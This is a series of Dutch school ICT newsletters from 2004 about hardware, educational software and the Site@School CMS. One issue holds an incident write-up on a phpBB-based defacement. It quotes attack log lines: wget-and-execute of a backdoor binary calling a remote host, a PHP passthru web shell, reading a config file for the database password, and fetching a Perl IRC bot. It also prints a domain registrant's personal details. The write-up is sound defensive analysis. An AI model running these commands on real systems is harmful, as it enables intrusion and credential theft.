Heel vaak als je terug gaat in je document om iets te veranderen wordt gemeld,
dat er een functie van de spelling controle niet is geïnstalleerd en of we de
cd willen plaatsen.
Maar de spelling controle doet het wèl. Uiteindelijk hebben we de cd er maar
eens in gedaan en het lijkt of het probleem is opgelost. Maar begrijpen doen we
het niet. Je kan ook niet overal verstand van hebben.
Deze week zijn onze printers schoongemaakt en kleine reparaties zijn verricht. Er waren er een paar kapot. Het blijkt dat enkele van deze deze printers (HP Laserjet4MV) die we van onze gemeentelijke dienst hebben gekregen, nog erg weinig gebruikt zijn. We kregen toen ook ‘fusers’ en die bleken nodig voor revisie. We kunnen er dus nog jaren mee voort en de schoonmaakbeurt /revisie ad € ....(we hebben nog geen rekening ontvangen) is een goede investering geweest.
Na de zomervakantie sluiten opeens een heleboel computers niet meer vanzelf af. Dus nu de patch uit 1999 maar eens geïnstalleerd. En ja hoor. het helpt! Nu moet het nog worden aangepast op het image.
De oude servers die we hadden en die wij als krijgers hadden ontvangen, zijn deze week opgehaald door een school uit Zeeland. Ze hebben daar weinig leerlingen en dus een klein ICT budget. Ze zijn hartstikke blij met onze spullen.
Onze ICT coördinator heeft een computer gemold door te hard een schakelaartje te ‘repareren’. Daarbij brak ook het plastic houdertje af dat in de kast de schakelaar vasthoudt. Ze had al bijna een nieuwe computer besteld. De vrijwilliger zal in de onderdelenbak kijken of er nog een inbouwschakelaartje over is.
Deze week is onze website “gemigreerd” naar S@S 2.2. We kunnen nu dus zelf ook van de nieuwste snufjes gebruik maken. Het is een genot om in te loggen en de mooie nieuwe ikonen te zien. Wie eens een kijkje wil nemen: onze testsite is daarvoor bedoeld http://wyxs.net/daily/starnet/
inloggen met “tester” en het wachtwoord is “tester”. Iedere nacht wordt de site gewist en is ie weer ‘schoon’. Het kan zijn dat de taal niet op Nederlands staat. Dat moet je dan even aanpassen.
Vanuit de oudergeleding van onze school is er belangstelling om de jaarkalender te gaan bijhouden op de website. Eén ouder heeft nu toegang tot S@S. We zijn benieuwd of het gaat lukken: ouders die een deel van de website gaan beheren.
groeten en een prettig weekend
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Door verschillende mensen wordt er druk nagedacht over hoe we de leerlijn voor iedereen toegankelijk kunnen maken en over een site waar de lijn op kan en waar mensen bijdragen kunnen leveren aan de oefenstof.
Kijk op http://rosaboekdrukker.net/index.php?section=10&page=708 Weer allemaal leuke tips voor het sinterklaasfeest.
Deze week ontvingen we een CREDIT nota van Malmberg. Nee, niet de door ons gevraagde € 5000.- schadevergoeding. Maar € 80.- Waarvoor die 80 euro zijn stond er niet bij.
De rekening van het verzorgen van onze printers is binnen. € 325.-, inclusief btw en voorrijkosten. Dat is niet duur voor 5 printers die weer jaren meekunnen volgends de onderhoudsmonteur. Eén van de printers had maar 25000 exemplaren op de teller. “Net ingereden” zei de monteur.
Deze week kwam er weer een flinke partij overtollig materiaal van onze gemeentelijke dienst. Tape streamers, monitoren, printers, printservers, thin-clients) Wat wij niet nodig hebben wordt doorgegeven aan andere scholen. Belangstelling?
Peter en Dirk bezochten de “Ict en beheer” beurs in Nieuwegein.
Hier een kort verslag.
”Wat ons opviel was de grote aanwezigheid van harwarebeveiligingsstands. Er
wordt blijkbaar heel wat afgestolen op dit gebied. Wij zagen er een pleidooi in
voor tweedehands computers.
Dat bracht ons bij de stand van Arcom-IT, waar wij hartelijk werden ontvangen
door Ewald van der Blij. We kenden hem al van diverse aankopen (hd-s voor de
OBSRB en onlangs uitstekende tweehands PIII-733 computers voor een andere
school). Even fysiek kennis gemaakt, een prima kontact.
Vandaar naar de stands met, ja ja, content management systemen. Dat was lachen!
Prijzen bij de één van 25 tot 95 euro per maand (met gastenboek!). Bij de
tweede voor € 2500.- per server en bij de derde was de prijscourant fout bij de
drukker vandaan gekomen, dus die hadden geen prijzen. Gelukkig waren we
incognito, dus hoefden we niet uit te leggen, dat S@S
veel goedkoper en beter is.
Toen weer iets echt leuks. We kwamen Raoul tegen, van ICT-opschool. Prima om
even bij te praten, en hij kwam weer met goede ideeen
Tijd voor de concurrenten van serveropschool. De enige die in de buurt kwam was
PARADIGIT, maar ja, moet je wel nieuwe computers bij hen kopen. Daarnaast kost
het dan maar € 35.- per computer per jaar. Het gerucht klopte dus. Onlangs
luisterden we in de trein een gesprek af. Eén van de mensen van (blijkbaar
paradigit) zei, dat de PCprivee projecten door de belastingmaatregel aan het
instorten waren en dat ze zich nu concentreren op scholen (“daar kun je heel
wat computers wegzetten”)
Bij de andere leveranciers grote verhalen, maar geen prijzen.
Samengevat: leuk voor de contacten., maar verder geen nieuwe dingen.”
Sinds zonet is de vertaalsite van het site@school
project geopend. “http://wyxs.net “ Met deze site is het mogelijk dat veel
mensen tegelijkertijd online aan vertalingen van de handleidingen werken. Als
je wilt meewerken aan de Nederlandse handleiding, dan kun je je bij ons
aanmelden, dan krijg je een account en kun je zo aan het werk. Het Engelse
manual (handleiding) is het uitgangspunt. De opzet is zodanig, dat je ook
bijvoorbeeld maar één hoofdstuk kunt vertalen, als je dat wilt. Kennis van de
Engelse taal is dus wel een voorwaarde om mee te kunnen doen.
Fred heeft veel denkwerk en een prachtig template in de site zitten.
een prettig weekend!
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Vanaf januari zal module 2 gebruikt kunnen worden door groep 7 en 8. Dan zullen ook de klassenconsulten plaats vinden. Die zullen gedaan worden door Anja, zij is een taalspecialist. De nadruk zal dus komen te liggen op de taalkant en de organisatiekant van het programma.
Ook zal na de kerstvakantie het emailproject voor groep 4 starten. Er zal weer een dier gaan logeren en er moet dus een school worden gezocht die het ook wil doen.
Nu Letterpret het goed doet (!!!) zal het accent daar op komen te liggen de komende periode. Een taalspecialist van het ABC zal naar de didactische kant van het programma met ons kijken.
Op 13 december gaan Marianne, Hedy en Karin naar het ABC om het programma LEESLADDER door te spitten op het gebruik van de verschillende onderdelen. Welke oefeningen zijn voor welk soort leesproblemen? Hoe zet je het nuttig in? etc.
Er is een vraag gekomen vanuit het team naar rekensoftware voor rekenproblemen. Daarvoor zullen we een programma moeten zoeken dat ook aansluit bij onze methode. Bij Wis en Reken is op dit moment alleen software voor groep 4 verschenen. Graag op een bouwvergadering bekijken waar precies behoefte aan is. We zouden eens naar het programma Maatwerk kunnen kijken.
Deze week heeft er een gesprek plaats gevonden tussen de Rosa B. en de Educatieve Faculteit Amsterdam, op zoek naar stagiaires die ons gaan helpen met het omzetten en uitbreiden van onze bestaande ict-leerlijn naar een opensource leerlijn met opensource programma’s.
Alweer een nieuwe nieuwsbrief met allerlei handige tips: http://rosaboekdrukker.net/index.php?section=10&page=709 Voor de klokhuis agenda is het beter om te kijken naar de site van de Rosa Boekdrukker. (http://www.rosaboekdrukker.net/index.php?page=658§ion=4) Daar staat de agenda tot en met 10 december 2004
Bezoek van delegatie uit Franeker. Matthijs, één van de eerste gebruikers van
Site@School, http://www.deopslagh.nl ,
was naar Amsterdam gekomen om zich te oriënteren op SoS. Peter en Dirk gaven
een demo op de OBSRB en de Joop Westerweel. Jullie horen er nog van.
Vandaag zitten P. en D. op de JW om daar de laatste klusjes te doen: Het Cito
leerlingvolgsysteem zit nu op de server en de Windows clients. Esis draait op
de clients en de server. Van EducatB moeten we de data nog overzetten. Kortom,
bijna klaar.
Vorige week sloeg de zetduivel toe waardoor de URL van het vertaalproject niet
goed in de BIC kwam. Hier is ie nog een keer: http://wyxs.net/manuals/
Het gaat ongelofelijk goed! Er zijn nu 3 Nederlandse vertalers, 2 Duitse en
gisterenavond meldde zich een Argentijn voor de Spaanse vertaling. Als je
meewilt doen, meld je aan en doe een hoofdstuk. Vele handen maken licht werk!
Fred is bezig met een 'pdf knop’ waardoor de pagina’s met oefeningen in de
leerlijn met één druk op de knop in PDF formaat beschikbaar zijn. Dan hoeven ze
alleen nog maar onder de kopieermachine en kunnen dan zo de klas in.
Jullie snappen natuurlijk wel dat de volgende stap is dat een leerling de snelkoppeling
met de opdracht op zijn bureaublad vindt en meteen aan de slag kan.
We beginnen vragen van scholen te krijgen om op eenvoudige wijze zelf het template te kunnen aanpassen aan de wensen van de school. Daartoe heeft Fred de template editor ontwikkeld. Je kan nu zelf een eenvoudig template voor S@S maken. PHP of HTML kennis is niet nodig. We hopen dat ie gauw klaar is.
Meld je aan als tester.
groeten en een prettig weekend Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Dit schooljaar staat bijna altijd ICT op de agenda van de vergaderingen. Zo hebben we deze week besproken, dat de ICT coördinator zal kijken of het programma “Maatwerk” voldoet aan de criteria die we als team voor software hebben vastgesteld. De inhoudelijke kant van het programma is onderzocht door de rekenspecialist in ons team.
Groep 5 kan aan de slag met opdrachten tekstverwerking.
Groep 6 is begonnen aan opdrachten met Digiwijs. Ze oefenen nu in het zoeken op
een webpagina
Van de uitgeverij Bekadidact kregen we eerst sombere berichten over de werking van hun software. Na wat extra uitleg van onze kant kregen we het volgende bemoedigende antwoord:
“Ik heb bij de softwareontwikkelaar geïnformeerd of de software wel kan draaien onder Samba. Ik kreeg het volgende antwoord: “In principe moet het kunnen. Samba is een fileserver. De school heeft dan alle bestanden onder Samba op Linux staan. Een client computer haalt de bestanden over het netwerk van die server en runt ze lokaal. Maar het is niet helemaal zeker of het kan. Dat zou eerst getest moeten worden. Er kunnen problemen zijn met filenamen (namen die Windows wel uit elkaar kan halen, maar Samba niet, of namen die voor Windows hetzelfde zijn maar voor Samba niet (denk aan lengte en hoofd- en kleine letters).” Zodra we de demo helemaal klaar hebben, dan krijgen alle scholen er één toegestuurd. Dat zal begin maart 2005 zijn. U kunt dan kijken of deze onder Samba draait. Eventueel kunt u ook de eerste echte CD (groep 5: eind april) eerst laten uitproberen voordat u hem echt aanschaft.”
Natuurlijk zijn we bereid om de software op de Samba-server te testen.
Deze week hadden we opeens bij een deel van onze computers uitval uit het
netwerk. Toen bleek dat we geen duidelijk beleid hebben wat te doen bij
storingen. Op die dag was de ICT coördinator niet op school. We moeten dus een
protocol hebben. Tot nu toe kon er altijd meteen een beroep gedaan worden op
Dirk, maar nu we ons hebben aangesloten bij Server op School vindt het beheer
op een andere manier plaats. Toch heeft Dirk wel geconstateerd dat het aan één
van de switches ligt en heeft Karin laten zie hoe je die moet resetten.
Na het resetten werkte alles weer, maar na een paar uur was het weer mis.
Nu zie je opeens het voordeel van twee switches: je kan door wat ompatchen zorgen
dat degenen die de computer het meeste nodig hebben, gebruik kunnen maken van
de (beperkte) capaciteit. Wat we nooit gedaan hebben, maar volgende week gaan
uitvoeren is het verdelen van onze twee switches over verschillende computers.
Voorbeeld: bij de directie staan twee computers. Je vergroot de werkbaarheid
door computer A op de ene- en computer B op de andere switch te zetten.
Een ding weten we nu zeker: koop nooit 1 switch met grote capaciteit, maar koop
twee met halve capaciteit.
Als we een nieuwe kopen, dan nemen we er een met twee gigabit aansluitingen.
Dan kan je met één gigabit naar de server en met 1 gigabit naar de tweede
switch.
Peter en Dirk waren op de opening van de Joop Westerweel. Strak in het pak zittend, met onze zijden Linux stropdassen, werden we aangezien voor de Clini-clowns. Het was een leuke opening en goed voor de contacten.
Let op!
In de nieuwsbrief van “ICTopschool” staat te lezen: “KPN laat weten dat scholen
hun vergoeding voor de migratie naar het gratis KPN-aanbod voor 31 januari a.s.
moeten declareren.” Zie: hier
Dat was het weer.
Groeten en een goed weekend,
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
een hele lange BIC (wegens onze defacing) met een zeer technische staart
Deze week is vermeld, dat we werken aan het protocol: “hoe te handelen bij storingen?” Uit het team kwam naar voren, dat er weer gesurft is op onbetamelijke sites. In de volgende vergadering zullen de regels weer eens besproken worden. Want ook is gesignaleerd, dat er kinderen zonder opdracht en zonder toezicht zitten te computeren. Tja, dat vraagt om problemen!!
Het onderzoek naar de criteria om software aan te schaffen is positief uitgevallen voor het programma Maatwerk. Het heeft een instaptoets dat het niveau van de leerling bepaalt en een handelingsplan voorlegt. We zijn benieuwd. We moeten het natuurlijk nog wel even zelf uittesten. Het is van de firma Malmberg...... 8 jaar lang zouden we 111 euro jaarlijks voor het gebruik ervan moeten betalen.
Deze week hebben we onze registratie voor het gebruik van Microsoft producten in orde gemaakt bij het APS. We hebben nu naar eerlijkheid onze 50 computers opgegeven. Meer dan 700 euro betalen we voor het gebruik van lekkende software. We hopen dat het over een jaar niet meer nodig is en dat we voor die uitgespaarde 750 euro leuke bibliotheekboeken kunnen kopen!
Een paar weken geleden vonden we vervelende opmerkingen in ons gastenboek. Een snel speurwerk van Dirk en Peter leidde naar het Ip-adres van de school waarvandaan de lelijke woorden kwamen. Een email naar de school heeft ertoe geleid, dat de daders zijn gepakt. Ze hebben hun excuses in ons gastenboek gezet (http://www.rosaboekdrukker.net/index.php?section=5 ).
Karin is door het stof gegaan om op alle stekkerdozen van de netwerkstopcontacten de nummers af te lezen. Eerst moesten ze genummerd worden en moest worden opgeschreven welke computer met welk MAC adres in de contactdoos zit. Dirk heeft alle computers losgetrokken en daarna zijn we alle computers om en om in een van de twee switches gaan steken. Meteen hebben we te lange draden vervangen door kortere draden. We hebben nog maar drie gaten over, dus moet er een switch bijkomen. We hebben nog niet ontdekt waardoor vorige week de ene switch is uitgevallen. Nu net op de valreep van de publicatie van deze BIC heeft Dirk ontdekt wat er aan de hand is: oververhitting! De ventilatoren van de onderste switch zijn vervuild en draaien niet op volle toeren. Dirk zal ze schoonmaken.
Vandaag werden we gebeld door een ouder van een school in Amsterdam Zuid die zo enthousiast is over S@S, en de makers een compliment wilde maken. Daar zijn we erg blij mee. Het is trouwens zeer de moeite waard om eens een kijkje te nemen bij andere sites die S@S gebruiken. Zie: http://siteatschool.sourceforge.net/index.php?section=6 Het stond al lang op het programma om S@S zeer grondig aan te gaan pakken. Het programma is meer dan twee jaar jong, er is door verschillende mensen van alles aan ge- en versleuteld, waardoor het soms wat chaotisch is. Peter heeft een paar dagen in de code gekeken en deze week hadden Peter, Fred en Dirk een eerste bespreking waarin een paar vragen centraal stonden: - hoe kan S@S veiliger. Dit item stond al op het programma lang voor de defacing (zie onder). - hoe kan S@S duurzamer. Steeds meer scholen gebruiken S@S en dat schept verantwoordelijkheden; voor nu en in de toekomst. Over de jaren moet er ook door anderen aan doorontwikkeld kunnen worden. Er komt een developers manual en grotere uniformiteit in de code. - hoe komen we van allerlei 'erfenissen uit het verleden' af, zonder de oude gebruikers met problemen op te zadelen. S@S is een beetje uit zijn jasje gegroeid, en dat is reden om zaken opnieuw te overdenken en fundamenteel aan te pakken. Kortom, er gaat een hoop werk aan S@S verricht worden waar de gewone gebruiker helemaal niets van zal merken. Echter, goedwillende lieden zullen makkelijker kunnen meewerken en kwaadwillend gespuis zal zijn tanden stukbijten op S@S.
Het is ons overkomen: gedurende enkele uren is onze website 'overgenomen' door redelijk aardige onverlaten (defacen - het gezicht weghalen). Hier is het complete relaas. Lees het en wees gewaarschuwd.
Een paar dagen eerder had Peter ons gemeld dat er een kwetsbaarheid was ontdekt in het forum dat wij gebruiken (phpBB). Hij raadde ons aan om te upgraden want de patch om het gat te dichten was al beschikbaar. We waren nog niet uitgedacht over hoe en wanneer we e.e.a. zouden aanpakken of de Rosa Boekdrukker website was verdwenen en vervangen door een Braziliaanse tekst: Simiens Crew, Enquanto houver fome e guerra simiens existira Betekenis (dank aan Anrik): Simiens Crew, Zolang er honger en oorlog is dan zal Simiens blijven bestaan.
Gelukkig had Karin het snel in de gaten. Peter gebeld die de zaak snel in orde maakte door het Forum offline te halen en onze eigen site weer online te zetten. Het forum werd hernoemd om te kunnen achterhalen wat de schade kon zijn en om conclusies te kunnen trekken over de te nemen maatregelen. We voelen ons zeer gepakt.
Peter heeft de logfiles bestudeerd. We willen je e.e.a. niet onthouden onder het motto: "We zijn een school, dus gericht op het _delen_ van kennis". En merken daarbij op: Je moet 't ook delen als het niet leuk is. Lees en huiver!
”Ik (Peter) heb nu alle relevante logfiles doorgespit, voor details zie onderaan dit bericht. Management summary: Er zijn in totaal 4 (potentieel) gevaarlijke dingen gebeurd. 1. Het downloaden van een binair programma cbsd om een backdoor te creëren. Gestopt dankzij Mourani's achterdocht. (21-11-2004) 2. De configuratiefile van het forum is achterhaald; het MySQL-root password is nu bekend (maar inmiddels gewijzigd) (29-11-2004) 3. Defacement door een Braziliaans clubje onder de naam "Simiens Crew". Helaas gelukt, maar heeft gelukkig de aandacht getrokken. (03-12-2004) 4. Een ingewikkeld Perl-script zou uitgevoerd hebben kunnen worden als niet op dat moment de hele phpBB2 niet al uit de lucht was gehaald door mij. (04-12-2004) Voor de rest zijn er ettelijke succesvolle pogingen geweest om het commando 'id' uit te voeren. Daar is verder geen actie op ondernomen door de indringer(s). De problemen traden voor het eerst op op 21 november, dus mijn eerste advies inzake upgrading (van 1 december) was sowieso al aan de late kant, blijkt achteraf. Het forum is op 3 december stilgelegd, vrij snel na Karin's melding.”
Hier zijn relevante zaken uit de logfiles.
Nu wordt het echt technisch. Voor de doordouwertjes onder jullie:
209.236.124.24 - - [21/Nov/2004:19:01:58 +0100] wget http://ov3r.passwd.at/sh111t/cbsd -O /tmp/cbsd; chmod +x /tmp/cbsd; /tmp/cbsd 202.3.141.157 55555
Dit herhaalt zich zo'n 20 keer. Laatste in die serie:
209.236.124.24 - - [21/Nov/2004:19:02:16 +0100] wget http://ov3r.passwd.at/sh111t/cbsd -O /tmp/cbsd; chmod +x /tmp/cbsd; /tmp/cbsd 202.3.141.157 55555
Daarna vanaf dezelfde IP:
209.236.124.24 - - [21/Nov/2004:19:02:20 +0100]id;uname -a;
Uitleg:
Met wget wordt van de host ov3r.passwd.at een binair programma opgehaald.
Dit programma wordt uitvoerbaar gemaakt en zou zo te zien contact met host
202.3.141.157 moeten leggen. Ik vermoed dat dit programma een login-shell opent!
Vreemd is alleen dat deze poging zo'n 20x herhaald wordt binnen 18 seconden.
Zou het soms niet lukken? Mmmm.... Nadere bestudering wijst uit dat Mourani
standaard /tmp het attribuut noexec meegeeft. Hoezee: elke
executable in /tmp levert een melding Permission Denied op!
Wat er gebeurd is is niet na te gaan maar ik schat eigenlijk dat er dus niets
gebeurd is...
Hosts:
24.124.236.209.in-addr.arpa domain name pointer filtercube1.edumaster.net.
157.141.3.202.in-addr.arpa domain name pointer host.toukatsu-clinic-hospital.jp. ov3r.passwd.at has address 67.43.11.126
Host 126.11.43.67.in-addr.arpa not found: 3(NXDOMAIN)
Gegevens bij domein passwd.at:
personname: Salvatore Cangialosi organization:
street address: 223 Academy Drive
postal code: USA-01106
city: Longmeadow
country: USA
phone: +14137855668
e-mail: blax@post.com
nic-hdl: SC1665235-NICAT
changed: 20040824 16:33:13
source: AT-DOM
213.144.148.19 - - [21/Nov/2004:22:44:10 +0100] echo;echo ---dcha0s---;id;echo ---dcha0s---;echo
Host:
19.148.144.213.in-addr.arpa domain name pointer kunden1.livenet.ch.
193.232.254.217 - - [24/Nov/2004:03:15:35 +0100] echo C3NZOR3D
193.232.254.217 - - [24/Nov/2004:22:08:18 +0100] echo \<\?\ passthru\(\$_GET\[\'cmd\'\]\)\ \?\> > tmp.php
Host:
217.254.232.193.in-addr.arpa domain name pointer proxy.karelia.ru.
200.225.194.49 - - [27/Nov/2004:18:59:11 +0100] id
Host:
49.194.225.200.in-addr.arpa domain name pointer 225-194-049.ctbctelecom.com.br.
200.193.77.75 - - [27/Nov/2004:21:41:09 +0100] id
Host:
75.77.193.200.in-addr.arpa domain name pointer 200-193-077-075.jvece7001.dsl.brasiltelecom.net.br.
200.76.229.206 - - [29/Nov/2004:06:55:26 +0100] tail config.php
Beschrijving:
Dit commando laat de inhoud zien van de configuratiefile, met daarin
--helaas-- het root-wachtwoord van de MySQL-database. Dat zal dus anders
moeten. Sorry. Wijze les: iedere databaseapplicatie zijn eigen userid en
wachtwoord. Nu is het MySQL-rootpassword compromised en moeten alle applicaties
aangepast worden.
Overigens is het password inmiddels gewijzigd per 2004-12-09 16:30 uur.
Host:
206.229.76.200.in-addr.arpa domain name pointer red-corpb36ADSL-206.telnor.net.
Referer (!): http://200.58.112.84/~moneos/phpbb-exploit.php
201.8.131.11 - "" [01/Dec/2004:03:29:02 +0100] uname -a;id;pwd;
200.98.137.119 - - [01/Dec/2004:04:07:37 +0100] uname -a;id;pwd;
200.162.208.31 - - [03/Dec/2004:12:19:40 +0100] id echo UN_COMECO;echo UN_COMECO;uname -a;id;echo UN_FIM
etc. etc. etc.
200.162.208.31 - - [03/Dec/2004:16:01:49 +0100]
echo AKI0x01;cd /home/httpd/htdocs;echo Simiens Crew, Enquanto houver fome e
guerra simiens existira > index.php;cat index.php;echo ALI0x02;
Deze kenden we al (deze defacement zette ons op het spoor! We mogen ze wel
dankbaar zijn!)
91.230.162.200.in-addr.arpa domain name pointer 200.162.230.91.user.ajato.com.br.
=======================================================
Vanaf vrijdagavond 3 december was er geen gat meer; alle volgende pogingen zijn
dus mislukt. Desondanks heel leerzaam...
=======================================================
200.203.110.192 - - [04/Dec/2004:04:04:51 +0100] cd /tmp;wget http://paginas.terra.com.br/informatica/fdl/bot.txt;perl bot.txt
Uitleg:
Hier wordt een Perl-programma bot.txt opgehaald. Da's een file van zo'n 20 kB
met daarin een backdoor / daemon die iets met IRC doet. Ik heb het niet in
detail bekeken, maar eng is het wel.
192.110.203.200.in-addr.arpa domain name pointer 200-203-110-192.smace7006.dsl.brasiltelecom.net.br.
201.8.130.119 - - [04/Dec/2004:08:33:06 +0100] echo ___INICIO___;uname -a;echo ___FIM___;
wordt nog een keer herhaald ook. No joy.
119.130.8.201.in-addr.arpa domain name pointer 201008130119.user.veloxzone.com.br.
200.225.194.49 - - [04/Dec/2004:22:25:32 +0100] id echo ___INICIO___;id;echo ___FIM___; id
49.194.225.200.in-addr.arpa domain name pointer 225-194-049.ctbctelecom.com.br.
200.163.142.154 - - [06/Dec/2004:03:37:34 +0100] echo ___INICIO___;id;echo ___FIM___;
154.142.163.200.in-addr.arpa domain name pointer 200-163-142-154.erece201.dial.brasiltelecom.net.br.
200.206.201.27 - - [06/Dec/2004:16:37:41 +0100] id
27.201.206.200.in-addr.arpa domain name pointer 200-206-201-27.dsl.telesp.net.br.
200.232.209.189 - - [06/Dec/2004:22:55:43 +0100] id
189.209.232.200.in-addr.arpa domain name pointer 200-232-209-189.dsl.telesp.net.br.
200.162.230.91 - - [07/Dec/2004:16:46:59 +0100] id
31.208.162.200.in-addr.arpa domain name pointer 200-162-208-31.user.ajato.com.br.
24.239.158.30 - - [08/Dec/2004:02:48:36 +0100] id
(herhaalt een stuk of 10 keer)
30.158.239.24.in-addr.arpa domain name pointer user-0cev7gu.cable.mindspring.com.
200.162.230.91 - - [08/Dec/2004:16:45:34 +0100] id
91.230.162.200.in-addr.arpa domain name pointer 200.162.230.91.user.ajato.com.br.
200.164.173.94 - - [08/Dec/2004:21:39:07 +0100] echo ___INICIO___;uname -a;id;pwd;echo ___FIM___;
94.173.164.200.in-addr.arpa domain name pointer 200164173094.user.veloxzone.com.br.
64.229.20.199 - - [09/Dec/2004:07:28:52 +0100] id; id
199.20.229.64.in-addr.arpa domain name pointer HSE-London-ppp196390.sympatico.ca.
Tot zover dit lange verhaal.
Onze dank gaat uit naar Peter en Fred die snel in actie zijn gekomen.
Groet en goed weekend,
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Deze week zijn we met drie leerkrachten naar de onderwijsbegeleidingsdienst om uitleg te krijgen over het programma “leesladder”. Dit is een remediërend leesprogramma. We kwamen met de vraag: hoe zet je het programma in? We kregen uitleg van een taal specialist, niet van een ict-er. Deze specialist gebruikt het programma zelf bij kinderen met leesproblemen. Het is erg belangrijk om eerst een kind te onderzoeken op waar de problemen zitten. Bijvoorbeeld als het leerlingen zijn die op latere leeftijd op school komen. Het programma is adaptief: het toetst een leerling en past de oefeningen automatisch aan aan het niveau. Maar je blijft toch met die 4 verschillende cd-roms zitten. Elke cd-rom heeft andere leesproblemen. In groep 3 en 4 zul je bijna altijd met cd-rom 1 beginnen. Kortom: het was allemaal heel zinvol en verhelderend. En het resultaat is nu: de handleiding van het programma staat waar hij hoort: op het bureau van de remedial teacher!!
Deze week hebben we op papier gezet hoe te handelen in geval van computerstoringen. Als het concept is goedgekeurd door het team zullen we het publiceren, zodat andere lezers er ook gebruik van kunnen maken.
Doordat de SWITCH toch kapot bleek te zijn ontstond de noodzaak precies te weten welke computer op welke plek in de school staat. Daar hebben we een tabel van gemaakt. Het was een hele klus, maar zal ons in de toekomst veel werk besparen.
Van Fritz ontvingen we een link van zijn chemie website http://www.gym-hartberg.ac.at/chemie/index.php Zeer interessant om te zien wat leraren chemie op een Duits Gymnasium met S@S doen.
Nu we toch in Duitsland zijn (waar S@S wijdverbreid is), hier een link van een prachtige site. Wat een mooi template! http://www.wilhelm-remy-gymnasium.de/ Dit prachtige template kun je gratis downloaden van onze site waar veel nieuwe templates op staan: http://siteatschool.sourceforge.net Zie onder 'Templates'.
Schrijf je in voor de nieuwsbrief van S@S. Dan wordt je op de hoogte gehouden van bugfixes, updates en dergelijke. http://siteatschool.sourceforge.net/index.php?section=12&page=42
Geen nieuws, maar in de wandelgangen wordt gefluisterd dat er meerdere scholen aan zitten te komen.
Van onze bevriende gemeenteljke dienst ontvingen we nog 25 computers die identiek zijn aan onze P2 400 Dell. Daarmee zijn we zéér geholpen! Hartelijk dank Peter! Zie ook het volgende stukje.
Een bevriende school in het stadsdeel dankte 20 oude computers af waarin precies de geluidskaart zit die in de Dell hoort (zie boven). We hebben ze voor een goede prijs overgenomen omdat we met die geluidskaarten ons aantal _identieke_ computers op 60 brengen. En identieke computers zijn belangrijk, omdat je dan met images kunt werken die je met SABRINE (Semi Automatic Backup and Restore In a Network Environment, een van de zeer krachtige gereedschappen in ServerOpSchool) makkelijk kunt maken en terugzetten. Zo hebben we genoeg leerlingcomputers.
Helaas is het niet goed afgelopen met onze 32 poorts switch van het merk Level-One. Bij goede inspectie bleek hij door oververhitting te zijn overleden. De oververhitting is gekomen omdat de ventilatioren door vervuiling of door goedkoopte niet meer op volle snelheid liepen. Balen en wijze les: Inspecteer regelmatig de ventilatoren. We hebben voor onze andere Level-One switch nieuwe ventilatoren besteld. In plaats van de goedkope ventilatoren met glijlagers hebben we ventilatoren gekocht met kogellagers. Kosten 11 eur per stuk. Er zitten 2 in de switch.
Goed weekend,
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Eindelijk zijn alle mappen van de leerlingen bijgewerkt met werk dat ze het vorig schooljaar hebben gemaakt. De bestanden van de oude fileserver waren nog steeds niet allemaal overgezet.
Nog even op de valreep van dit schooljaar werden we “verblijd” met een rekening van Malmberg voor het gebruik van Letterpret in 2005. We gaan die rekening niet betalen.
Deze week hebben we de puntjes op de i gezet. Het netwerk beheer is nu helemaal over gegaan naar SoS. Dat betekent, dat we voor alle netwerk problemen naar Peter kunnen. Dirk blijft als handje van Peter en tovenaarsleerling beschikbaar.
Deze week zijn we gaan kijken in de Joop Westerweel (andere basisschool in ons stadsdeel). Hun schoolgebouw is pas nieuw en ze werken er ook met SOS. We gingen kijken naar hun computerstoelen. We hebben nog steeds niet besloten welke stoelen/krukken we zullen aanschaffen. Soms zijn we zo besluiteloos!!! Dirk: “Karin is dat!”
Als je een email verstuurt naar meerdere mensen is het niet netjes om adressen aan vreemden bekend te maken of emailadressen te verspreiden. Als je een email verstuurt aan mensen die elkaar goed kennen en die van elkaar moeten weten dat ze de email ook hebben ontvangen, dan stuur je CC (carbon copy). Maar als de emailadressen niet verspreid en bekend gemaakt horen te worden dan stuur je BCC (blind carbon copy). Dan zie je niet aan wie de mail nog meer is verstuurd. Dus deze nieuwsbrief sturen we altijd BCC. Vandaag ontvingen we een brief met heel een vertrouwelijke bijlage. Die email was CC verstuurd aan wel 75 scholen in Amsterdam. Heel gênant.
Onze nieuwe switch is binnen: een Netgear, 48 poorts. 10/100 met twee Gigabit poorten. Dat is handig omdat je nu met 1 gigabit netwerkkaart in de server een gigabit verbinding hebt tussen switch en server. Pas tussen de switch en de client is de verbinding 100 MB. Als er veel netwerkverkeer is, zul je het verschil in snelheid merken.
De desktops van de groepen zijn nu aangepast en vastgezet. Als een leerling de desktop wijzigt, worden de wijzigingen ongedaan gemaakt.
Eindelijk hebben wij nu ook Sabrine (Semi Automatic Backup and Restore
In a Network Environment). Wow!
Nu kunnen zelfs leerkrachten in een handomdraai images terugzetten en
virusscans op de computers in de klas. Het werkt als een zonnetje. En...
Het gaat nog beter werken. Peter is nog aan het ontwikkelen. Als Sabrine af is
kan zij het volgende:
- Op vooraf in te stellen tijden wordt bij het opstarten van een computer
automatisch een nieuw image teruggezet Hiermee heb je alle mogelijke vervelende
zaken ondervangen. Op een school waar veel aan computers wordt gerotzooid kan
bijvoorbeeld 1 x per dag een schoon image neergezet worden, of zelfs na iedere
opstart.
Op een 'normale' school kun je dat bijvoorbeeld 1 x per week of maand doen.
- Nu moet je na het terugzetten van het image nog de standaardprinter
instellen. In de verbeterde versie hoef je niets mer te doen en heb je na het
terugzettten van een image de standaardprinter goed stqan. Wat een feest!
Sabrine haalt je ontzettend veel werk uit handen en spaart ook nog eens veel
geld omdat de virusscanner waarmee Sabrine werkt gratis is en altijd up to date
omdat de server iedere nacht niuewe virusdefinities ophaalt.
Verder kan Sabrine nog een paar kunstjes die we graag eens een keer aan
belangstellende ICT coordinatoren en systeembeheerders uitleggen.
Dit was de laatste BIC van 2004.
We wensen u allen een zalich uiteinde en een digirijk 2005
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
